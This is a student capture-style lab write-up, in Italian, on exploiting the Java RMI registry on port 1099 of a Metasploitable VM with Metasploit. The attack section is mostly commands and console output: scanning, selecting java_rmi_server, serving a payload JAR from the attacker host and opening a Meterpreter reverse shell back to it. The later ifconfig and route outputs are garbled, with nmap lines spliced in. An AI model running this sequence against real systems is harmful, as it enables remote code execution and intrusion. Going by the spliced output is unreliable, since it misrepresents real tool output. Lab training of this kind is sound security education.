

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante KALI deve avere il seguente indirizzo IP 192.168.11.111
- La macchina vittima Metasploitable deve avere il seguente indirizzo IP 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

1) configurazione di rete.

2) informazioni sulla tabella di routing della macchina vittima.

INDICE

- **SETTAGGIO INDIRIZZO IP STATICO ALLE MACCHINE KALI E METASPLOITABLE**
- **PING**
- **SCANSIONE DELLE PORTE MACCHINA TARGET**
- **RICERCA ED UTILIZZO EXPLOIT TRAMITE MSCONSOLE**
- **SESSIONE METERPRETER**
- **CONCLUSIONE**

SETTAGGIO INDIRIZZO IP STATICO ALLE MACCHINE KALI E METASPLOITABLE

Come primo passaggio andiamo ad impostare gli indirizzi IP richiesti dall'esercizio sulla macchina attaccante KALI e sulla macchina target METASPLOITABLE assegnando gli IP richiesti dall'esercizio quali:

KALI 192.168.11.111

METASPLOITABLE 192.168.11.112

Tramite il comando ifconfig dal terminale di Kali controlliamo se il cambio IP è avvenuto correttamente:

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::cdd1:f908:248:5105 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 1206 bytes 688322 (672.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1054 bytes 214598 (209.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 70 bytes 9520 (9.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 70 bytes 9520 (9.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Dopo aver visto che le impostazioni di rete sono state cambiate correttamente andiamo a fare la medesima operazione sulla macchina target Metasploitable :

```
SIOCDELRT: No such process [ OK ]
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces... [ OK ]
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3b:39:3d
          inet addr:192.168.11.112  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3b:393d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:242 errors:0 dropped:0 overruns:0 frame:0
          TX packets:164 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:33003 (32.2 KB)  TX bytes:14705 (14.3 KB)
          Base address:0xd010 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:146 errors:0 dropped:0 overruns:0 frame:0
          TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:36201 (35.3 KB)  TX bytes:36201 (35.3 KB)

msfadmin@metasploitable:~$
```

PING

Andiamo a testare la reciproca raggiungibilità delle due macchine presenti nella stessa rete attraverso il terminale della Kali con il comando :

ping 192.168.11.112

```
(kali㉿kali)-[~]
└─$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=2.48 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.63 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=1.89 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=1.35 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=2.20 ms
64 bytes from 192.168.11.112: icmp_seq=6 ttl=64 time=2.02 ms
64 bytes from 192.168.11.112: icmp_seq=7 ttl=64 time=1.99 ms
64 bytes from 192.168.11.112: icmp_seq=8 ttl=64 time=2.05 ms
64 bytes from 192.168.11.112: icmp_seq=9 ttl=64 time=2.24 ms
^C
— 192.168.11.112 ping statistics —
9 packets transmitted, 9 received, 0% packet loss, time 8008ms
rtt min/avg/max/mdev = 1.347/1.982/2.484/0.316 ms
```

Avendo appurato la reciproca raggiungibilità delle due macchine passiamo alla scansione delle porte della macchina target.

SCANSIONE DELLE PORTE MACCHINA TARGET

Con il comando **nmap -d -p 1000-1100** avviamo la scansione delle porte della macchina target per comprendere quali di queste porte siano aperte.

NB: il comando **-p 1000-1100** è stato utilizzato per una ricerca piu veloce impostando un range dalla porta 1000 alla porta 1100, in quanto l' esercizio richiedeva l' attacco tramite la porta 1099.

```
File Actions Edit View Help
(kali@kali)-[~]
└─$ nmap -A -p 1000-1100 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-14 06:15 EDT
Nmap scan report for 192.168.11.112
Host is up (0.0018s latency).
Not shown: 100 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
MAC Address: 08:00:27:3B:39:3D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.84 ms  192.168.11.112
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds
```

RICERCA ED UTILIZZO EXPLOIT TRAMITE MSCONSOLE

Come riporta la figura precedente abbiamo appurato che la porta 1099 è aperta nella macchina target, procediamo dunque ad avviare il framework metasploite tramite il comando **msfconsole** per procedere all' attacco della macchina target. Come primo approccio andiamo a ricercare l' exploit adeguato al nostro attacco tramite il comando:

search exploit /java_rmi

```
msf6 > search exploit /java_rmi

Matching Modules
=====
#  Name
-  -
0  exploit/multi/misc/java_rmi_server
   Disclosure Date: 2011-10-15   Rank: excellent   Check: Yes   Description: Java RMI Server Insecure Default Configuration Java Code
Execution
1  \  target: Generic (Java Payload)
2  \  target: Windows x86 (Native Payload)
3  \  target: Linux x86 (Native Payload)
4  \  target: Mac OS X PPC (Native Payload)
5  \  target: Mac OS X x86 (Native Payload)
6  exploit/multi/browser/java_rmi_connection_impl
   Disclosure Date: 2010-03-31   Rank: excellent   Check: No   Description: Java RMIConnectionImpl Deserialization Privilege Escalat
ion

Interact with a module by name or index. For example info 6, use 6 or use exploit/multi/browser/java_rmi_connection_impl
```

Visualizzando che l'exploit adeguato è il numero 0, procedo con il comando **use 0** per richiamare il medesimo exploit.

Tramite il comando **show options** visualizziamo i settings necessari per l'exploit.

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |


Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

Controllando bene possiamo notare che dobbiamo modificare il campo RHOSTS con l'indirizzo ip della macchina target quindi procediamo con il comando **set RHOSTS 192.168.11.112** e avviamo l'exploit con il comando **run**.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/KFrGoegobl4UK
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:39173) at 2025-03-14 06:23:00 -0400
```

SESSIONE METERPRETER

Una volta avviata la sessione meterpreter, tramite il comando **ifconfig** visualizziamo la configurazione di rete della macchina target.

```
meterpreter > ifconfig
Interface 1
=====
Name      : lo - lo
Hardware  MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

OS and Service detection performed. Please report any
Interface 2
=====
Name      : eth0 - eth0
Hardware  MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe3b:393d
IPv6 Netmask : ::
```

Visualizziamo ora la tabella di routing con il comando **route**

```
meterpreter > route
OS details: Linux 2.6.9 - 2.6.33
IPv4 network routes
=====
TRACEROUTE
HOP Subnet ADDRESS Netmask Gateway Metric Interface
1 127.0.0.1 255.0.0.0 0.0.0.0
OS 192.168.11.112 255.255.255.0 0.0.0.0 report any incorrect results at
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds

IPv6 network routes
=====
Subnet Netmask Gateway Metric Interface
::1 :: ::
fe80::a00:27ff:fe3b:393d :: ::
meterpreter > █
```

CONCLUSIONE

Controllando le configurazioni di rete della macchina target e confrontandolo con quello di meterpreter si può notare la loro uguaglianza potendo dunque affermare che l'attacco della macchina target tramite la porta 1099 è avvenuto correttamente.